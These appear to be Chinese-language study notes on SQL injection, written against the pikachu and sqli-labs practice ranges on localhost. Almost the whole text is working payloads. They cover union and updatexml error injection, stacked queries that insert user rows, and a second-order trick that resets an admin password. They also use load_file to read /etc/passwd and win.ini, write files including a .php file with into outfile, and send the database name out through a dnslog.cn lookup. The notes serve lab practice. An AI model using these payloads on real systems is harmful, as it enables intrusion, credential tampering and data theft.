【pikachu靶场】
1.想办法找到与数据库 交互的点。
2.查看注入点四周是否存在单引号还是双引号,还是什么特殊符号都没有(一般查询语句的注入是什么特殊符号都没有)
kobe’ union select 1,2,database() #
’% %’
(’ ’)
((” ”))
’ and (updatexml(1,concat(0x7e,(select database()),0x7e),1)) or ’
and (updatexml(1,concat(0x7e,(select database()),0x7e),1))
【堆叠注入】
同时执行多条 语句,可以用分号;隔开。可以增加,删除,或修改。
mysqli_multi_query():可以同时执行多条语句。
mysqli_query():一次只能执行一条语句。
http://127.0.0.1/sqli-labs/Less-38/?id=1’
http://127.0.0.1/sqli-labs/Less-38/?id=1”
http://127.0.0.1/sqli-labs/Less-38/?id=1’ order by 1 —+
http://127.0.0.1/sqli-labs/Less-38/?id=1’ order by 3 —+
http://127.0.0.1/sqli-labs/Less-38/?id=-1’ union select 1,2,database() —+
http://127.0.0.1/sqli-labs/Less-38/?id=1’ ; insert into users value(999,‘caixukun’,‘huozhuzi’) —+
http://127.0.0.1/sqli-labs/Less-38/?id=1’ ; insert into users(username,password) value(‘caixukun’,‘huozhuzi’) —+
http://127.0.0.1/sqli-labs/Less-2/?id=1 ; insert into users(username,password) value(‘caixukun’,‘huozhuzi’) — ----
【二次注入】
注册一个带有特殊符号的账号,然后修改密码。可以把别的账号的密码给改掉。
update users set password =‘qwert’ where username=’ admin’ # ’ and password=‘xxx’
【文件读写】
前提条件:mysql.ini配置文件重要包含参数:secure_file_priv=
privelige 特权等级 [修改完参数记得重启。]
1.load_file() 读文件
2.into outfile 或 into dumpfile 写入文件
读
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘f:\www.txt’)
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘c:/windows/win.ini’)
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,load_file(‘/etc/passwd’)
写
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,‘you are in’ into outfile ‘f:/haha.txt’
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,'' into outfile ‘f:/1.php’
http://127.0.0.1/sqli-labs/Less-2/?id=-1 union select 1,2,’ ’ into dumpfile ‘f:/www123.txt’ —+
【dnslog】
前提条件:服务器腰得是windows系统,ysql.ini配置文件重要包含参数:secure_file_priv=
select username,password from users where id =1 union select 1,load_file( concat(’\\’,(select database()),‘.2vsr9e.dnslog.cn\1.txt’) )
127.0.0.1/sqli-labs/Less-1/?id=1’ union select 1,2,load_file( concat(’\\’,(select database()),‘.ixe7x0.dnslog.cn\1.txt’) ) —+
闽公网安备 35050402880173号